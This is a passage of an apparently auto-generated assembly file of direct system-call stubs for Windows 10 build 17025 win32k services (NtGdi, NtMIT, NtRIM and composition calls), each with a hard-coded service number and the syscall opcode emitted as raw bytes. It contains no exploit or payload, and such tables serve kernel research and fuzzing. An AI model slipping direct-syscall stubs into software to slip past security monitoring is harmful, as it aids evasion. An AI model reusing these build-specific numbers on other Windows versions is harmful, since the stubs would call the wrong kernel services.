_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetBrushAttributes ENDP
; ULONG64 __stdcall NtGdiSetColorAdjustment( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetColorAdjustment PROC STDCALL
mov r10 , rcx
mov eax , 4853
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetColorAdjustment ENDP
; ULONG64 __stdcall NtGdiSetColorSpace( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetColorSpace PROC STDCALL
mov r10 , rcx
mov eax , 4854
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetColorSpace ENDP
; ULONG64 __stdcall NtGdiSetDeviceGammaRamp( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetDeviceGammaRamp PROC STDCALL
mov r10 , rcx
mov eax , 4855
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetDeviceGammaRamp ENDP
; ULONG64 __stdcall NtGdiSetFontXform( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetFontXform PROC STDCALL
mov r10 , rcx
mov eax , 4856
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetFontXform ENDP
; ULONG64 __stdcall NtGdiSetIcmMode( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetIcmMode PROC STDCALL
mov r10 , rcx
mov eax , 4857
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetIcmMode ENDP
; ULONG64 __stdcall NtGdiSetLinkedUFIs( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetLinkedUFIs PROC STDCALL
mov r10 , rcx
mov eax , 4858
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetLinkedUFIs ENDP
; ULONG64 __stdcall NtGdiSetMagicColors( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetMagicColors PROC STDCALL
mov r10 , rcx
mov eax , 4859
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetMagicColors ENDP
; ULONG64 __stdcall NtGdiSetOPMSigningKeyAndSequenceNumbers( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetOPMSigningKeyAndSequenceNumbers PROC STDCALL
mov r10 , rcx
mov eax , 4860
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetOPMSigningKeyAndSequenceNumbers ENDP
; ULONG64 __stdcall NtGdiSetPUMPDOBJ( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetPUMPDOBJ PROC STDCALL
mov r10 , rcx
mov eax , 4861
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetPUMPDOBJ ENDP
; ULONG64 __stdcall NtGdiSetPixelFormat( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetPixelFormat PROC STDCALL
mov r10 , rcx
mov eax , 4862
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetPixelFormat ENDP
; ULONG64 __stdcall NtGdiSetPrivateDeviceGammaRamp( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetPrivateDeviceGammaRamp PROC STDCALL
mov r10 , rcx
mov eax , 4863
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetPrivateDeviceGammaRamp ENDP
; ULONG64 __stdcall NtGdiSetRectRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetRectRgn PROC STDCALL
mov r10 , rcx
mov eax , 4864
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetRectRgn ENDP
; ULONG64 __stdcall NtGdiSetSizeDevice( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetSizeDevice PROC STDCALL
mov r10 , rcx
mov eax , 4865
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetSizeDevice ENDP
; ULONG64 __stdcall NtGdiSetSystemPaletteUse( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetSystemPaletteUse PROC STDCALL
mov r10 , rcx
mov eax , 4866
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetSystemPaletteUse ENDP
; ULONG64 __stdcall NtGdiSetTextJustification( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetTextJustification PROC STDCALL
mov r10 , rcx
mov eax , 4867
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetTextJustification ENDP
; ULONG64 __stdcall NtGdiSetUMPDSandboxState( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetUMPDSandboxState PROC STDCALL
mov r10 , rcx
mov eax , 4868
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetUMPDSandboxState ENDP
; ULONG64 __stdcall NtGdiStartDoc( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiStartDoc PROC STDCALL
mov r10 , rcx
mov eax , 4869
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiStartDoc ENDP
; ULONG64 __stdcall NtGdiStartPage( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiStartPage PROC STDCALL
mov r10 , rcx
mov eax , 4870
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiStartPage ENDP
; ULONG64 __stdcall NtGdiStrokeAndFillPath( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiStrokeAndFillPath PROC STDCALL
mov r10 , rcx
mov eax , 4871
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiStrokeAndFillPath ENDP
; ULONG64 __stdcall NtGdiStrokePath( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiStrokePath PROC STDCALL
mov r10 , rcx
mov eax , 4872
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiStrokePath ENDP
; ULONG64 __stdcall NtGdiSwapBuffers( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSwapBuffers PROC STDCALL
mov r10 , rcx
mov eax , 4873
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSwapBuffers ENDP
; ULONG64 __stdcall NtGdiTransparentBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiTransparentBlt PROC STDCALL
mov r10 , rcx
mov eax , 4874
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiTransparentBlt ENDP
; ULONG64 __stdcall NtGdiUMPDEngFreeUserMem( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiUMPDEngFreeUserMem PROC STDCALL
mov r10 , rcx
mov eax , 4875
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiUMPDEngFreeUserMem ENDP
; ULONG64 __stdcall NtGdiUnloadPrinterDriver( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiUnloadPrinterDriver PROC STDCALL
mov r10 , rcx
mov eax , 4876
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiUnloadPrinterDriver ENDP
; ULONG64 __stdcall NtGdiUnmapMemFont( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiUnmapMemFont PROC STDCALL
mov r10 , rcx
mov eax , 4877
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiUnmapMemFont ENDP
; ULONG64 __stdcall NtGdiUpdateColors( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiUpdateColors PROC STDCALL
mov r10 , rcx
mov eax , 4878
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiUpdateColors ENDP
; ULONG64 __stdcall NtGdiUpdateTransform( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiUpdateTransform PROC STDCALL
mov r10 , rcx
mov eax , 4879
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiUpdateTransform ENDP
; ULONG64 __stdcall NtGdiWidenPath( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiWidenPath PROC STDCALL
mov r10 , rcx
mov eax , 4880
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiWidenPath ENDP
; ULONG64 __stdcall NtGdiXFORMOBJ_bApplyXform( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiXFORMOBJ_bApplyXform PROC STDCALL
mov r10 , rcx
mov eax , 4881
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiXFORMOBJ_bApplyXform ENDP
; ULONG64 __stdcall NtGdiXFORMOBJ_iGetXform( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiXFORMOBJ_iGetXform PROC STDCALL
mov r10 , rcx
mov eax , 4882
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiXFORMOBJ_iGetXform ENDP
; ULONG64 __stdcall NtGdiXLATEOBJ_cGetPalette( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiXLATEOBJ_cGetPalette PROC STDCALL
mov r10 , rcx
mov eax , 4883
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiXLATEOBJ_cGetPalette ENDP
; ULONG64 __stdcall NtGdiXLATEOBJ_hGetColorTransform( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiXLATEOBJ_hGetColorTransform PROC STDCALL
mov r10 , rcx
mov eax , 4884
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiXLATEOBJ_hGetColorTransform ENDP
; ULONG64 __stdcall NtGdiXLATEOBJ_iXlate( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiXLATEOBJ_iXlate PROC STDCALL
mov r10 , rcx
mov eax , 4885
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiXLATEOBJ_iXlate ENDP
; ULONG64 __stdcall NtHWCursorUpdatePointer( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtHWCursorUpdatePointer PROC STDCALL
mov r10 , rcx
mov eax , 4886
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtHWCursorUpdatePointer ENDP
; ULONG64 __stdcall NtMITActivateInputProcessing( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITActivateInputProcessing PROC STDCALL
mov r10 , rcx
mov eax , 4887
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITActivateInputProcessing ENDP
; ULONG64 __stdcall NtMITBindInputTypeToMonitors( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITBindInputTypeToMonitors PROC STDCALL
mov r10 , rcx
mov eax , 4888
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITBindInputTypeToMonitors ENDP
; ULONG64 __stdcall NtMITCoreMsgKGetConnectionHandle( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITCoreMsgKGetConnectionHandle PROC STDCALL
mov r10 , rcx
mov eax , 4889
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITCoreMsgKGetConnectionHandle ENDP
; ULONG64 __stdcall NtMITCoreMsgKOpenConnectionTo( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITCoreMsgKOpenConnectionTo PROC STDCALL
mov r10 , rcx
mov eax , 4890
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITCoreMsgKOpenConnectionTo ENDP
; ULONG64 __stdcall NtMITCoreMsgKSend( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITCoreMsgKSend PROC STDCALL
mov r10 , rcx
mov eax , 4891
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITCoreMsgKSend ENDP
; ULONG64 __stdcall NtMITDeactivateInputProcessing( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITDeactivateInputProcessing PROC STDCALL
mov r10 , rcx
mov eax , 4892
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITDeactivateInputProcessing ENDP
; ULONG64 __stdcall NtMITDisableMouseIntercept( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITDisableMouseIntercept PROC STDCALL
mov r10 , rcx
mov eax , 4893
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITDisableMouseIntercept ENDP
; ULONG64 __stdcall NtMITEnableMouseIntercept( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITEnableMouseIntercept PROC STDCALL
mov r10 , rcx
mov eax , 4894
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITEnableMouseIntercept ENDP
; ULONG64 __stdcall NtMITGetCursorUpdateHandle( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITGetCursorUpdateHandle PROC STDCALL
mov r10 , rcx
mov eax , 4895
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITGetCursorUpdateHandle ENDP
; ULONG64 __stdcall NtMITSetInputCallbacks( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITSetInputCallbacks PROC STDCALL
mov r10 , rcx
mov eax , 4896
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITSetInputCallbacks ENDP
; ULONG64 __stdcall NtMITSynthesizeMouseInput( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITSynthesizeMouseInput PROC STDCALL
mov r10 , rcx
mov eax , 4897
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITSynthesizeMouseInput ENDP
; ULONG64 __stdcall NtMITSynthesizeMouseWheel( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITSynthesizeMouseWheel PROC STDCALL
mov r10 , rcx
mov eax , 4898
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITSynthesizeMouseWheel ENDP
; ULONG64 __stdcall NtMITSynthesizeTouchInput( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITSynthesizeTouchInput PROC STDCALL
mov r10 , rcx
mov eax , 4899
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITSynthesizeTouchInput ENDP
; ULONG64 __stdcall NtMITUpdateInputGlobals( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITUpdateInputGlobals PROC STDCALL
mov r10 , rcx
mov eax , 4900
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITUpdateInputGlobals ENDP
; ULONG64 __stdcall NtMITWaitForMultipleObjectsEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITWaitForMultipleObjectsEx PROC STDCALL
mov r10 , rcx
mov eax , 4901
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtMITWaitForMultipleObjectsEx ENDP
; ULONG64 __stdcall NtNotifyPresentToCompositionSurface( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtNotifyPresentToCompositionSurface PROC STDCALL
mov r10 , rcx
mov eax , 4902
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtNotifyPresentToCompositionSurface ENDP
; ULONG64 __stdcall NtOpenCompositionSurfaceDirtyRegion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtOpenCompositionSurfaceDirtyRegion PROC STDCALL
mov r10 , rcx
mov eax , 4903
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtOpenCompositionSurfaceDirtyRegion ENDP
; ULONG64 __stdcall NtOpenCompositionSurfaceSectionInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtOpenCompositionSurfaceSectionInfo PROC STDCALL
mov r10 , rcx
mov eax , 4904
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtOpenCompositionSurfaceSectionInfo ENDP
; ULONG64 __stdcall NtOpenCompositionSurfaceSwapChainHandleInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtOpenCompositionSurfaceSwapChainHandleInfo PROC STDCALL
mov r10 , rcx
mov eax , 4905
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtOpenCompositionSurfaceSwapChainHandleInfo ENDP
; ULONG64 __stdcall NtQueryCompositionInputIsImplicit( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtQueryCompositionInputIsImplicit PROC STDCALL
mov r10 , rcx
mov eax , 4906
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtQueryCompositionInputIsImplicit ENDP
; ULONG64 __stdcall NtQueryCompositionInputQueueAndTransform( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtQueryCompositionInputQueueAndTransform PROC STDCALL
mov r10 , rcx
mov eax , 4907
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtQueryCompositionInputQueueAndTransform ENDP
; ULONG64 __stdcall NtQueryCompositionInputSink( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtQueryCompositionInputSink PROC STDCALL
mov r10 , rcx
mov eax , 4908
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtQueryCompositionInputSink ENDP
; ULONG64 __stdcall NtQueryCompositionInputSinkLuid( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtQueryCompositionInputSinkLuid PROC STDCALL
mov r10 , rcx
mov eax , 4909
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtQueryCompositionInputSinkLuid ENDP
; ULONG64 __stdcall NtQueryCompositionInputSinkViewId( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtQueryCompositionInputSinkViewId PROC STDCALL
mov r10 , rcx
mov eax , 4910
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtQueryCompositionInputSinkViewId ENDP
; ULONG64 __stdcall NtQueryCompositionSurfaceBinding( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtQueryCompositionSurfaceBinding PROC STDCALL
mov r10 , rcx
mov eax , 4911
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtQueryCompositionSurfaceBinding ENDP
; ULONG64 __stdcall NtQueryCompositionSurfaceHDRMetaData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtQueryCompositionSurfaceHDRMetaData PROC STDCALL
mov r10 , rcx
mov eax , 4912
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtQueryCompositionSurfaceHDRMetaData ENDP
; ULONG64 __stdcall NtQueryCompositionSurfaceRenderingRealization( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtQueryCompositionSurfaceRenderingRealization PROC STDCALL
mov r10 , rcx
mov eax , 4913
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtQueryCompositionSurfaceRenderingRealization ENDP
; ULONG64 __stdcall NtQueryCompositionSurfaceStatistics( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtQueryCompositionSurfaceStatistics PROC STDCALL
mov r10 , rcx
mov eax , 4914
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtQueryCompositionSurfaceStatistics ENDP
; ULONG64 __stdcall NtRIMAddInputObserver( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMAddInputObserver PROC STDCALL
mov r10 , rcx
mov eax , 4915
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMAddInputObserver ENDP
; ULONG64 __stdcall NtRIMAreSiblingDevices( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMAreSiblingDevices PROC STDCALL
mov r10 , rcx
mov eax , 4916
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMAreSiblingDevices ENDP
; ULONG64 __stdcall NtRIMDeviceIoControl( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMDeviceIoControl PROC STDCALL
mov r10 , rcx
mov eax , 4917
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMDeviceIoControl ENDP
; ULONG64 __stdcall NtRIMEnableMonitorMappingForDevice( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMEnableMonitorMappingForDevice PROC STDCALL
mov r10 , rcx
mov eax , 4918
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMEnableMonitorMappingForDevice ENDP
; ULONG64 __stdcall NtRIMFreeInputBuffer( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMFreeInputBuffer PROC STDCALL
mov r10 , rcx
mov eax , 4919
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMFreeInputBuffer ENDP
; ULONG64 __stdcall NtRIMGetDevicePreparsedData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMGetDevicePreparsedData PROC STDCALL
mov r10 , rcx
mov eax , 4920
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMGetDevicePreparsedData ENDP
; ULONG64 __stdcall NtRIMGetDevicePreparsedDataLockfree( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMGetDevicePreparsedDataLockfree PROC STDCALL
mov r10 , rcx
mov eax , 4921
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMGetDevicePreparsedDataLockfree ENDP
; ULONG64 __stdcall NtRIMGetDeviceProperties( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMGetDeviceProperties PROC STDCALL
mov r10 , rcx
mov eax , 4922
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMGetDeviceProperties ENDP
; ULONG64 __stdcall NtRIMGetDevicePropertiesLockfree( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMGetDevicePropertiesLockfree PROC STDCALL
mov r10 , rcx
mov eax , 4923
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMGetDevicePropertiesLockfree ENDP
; ULONG64 __stdcall NtRIMGetPhysicalDeviceRect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMGetPhysicalDeviceRect PROC STDCALL
mov r10 , rcx
mov eax , 4924
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMGetPhysicalDeviceRect ENDP
; ULONG64 __stdcall NtRIMGetSourceProcessId( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMGetSourceProcessId PROC STDCALL
mov r10 , rcx
mov eax , 4925
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMGetSourceProcessId ENDP
; ULONG64 __stdcall NtRIMObserveNextInput( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMObserveNextInput PROC STDCALL
mov r10 , rcx
mov eax , 4926
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMObserveNextInput ENDP
; ULONG64 __stdcall NtRIMOnPnpNotification( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMOnPnpNotification PROC STDCALL
mov r10 , rcx
mov eax , 4927
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMOnPnpNotification ENDP
; ULONG64 __stdcall NtRIMOnTimerNotification( ULONG64 arg_01 , ULONG64 arg_02 );
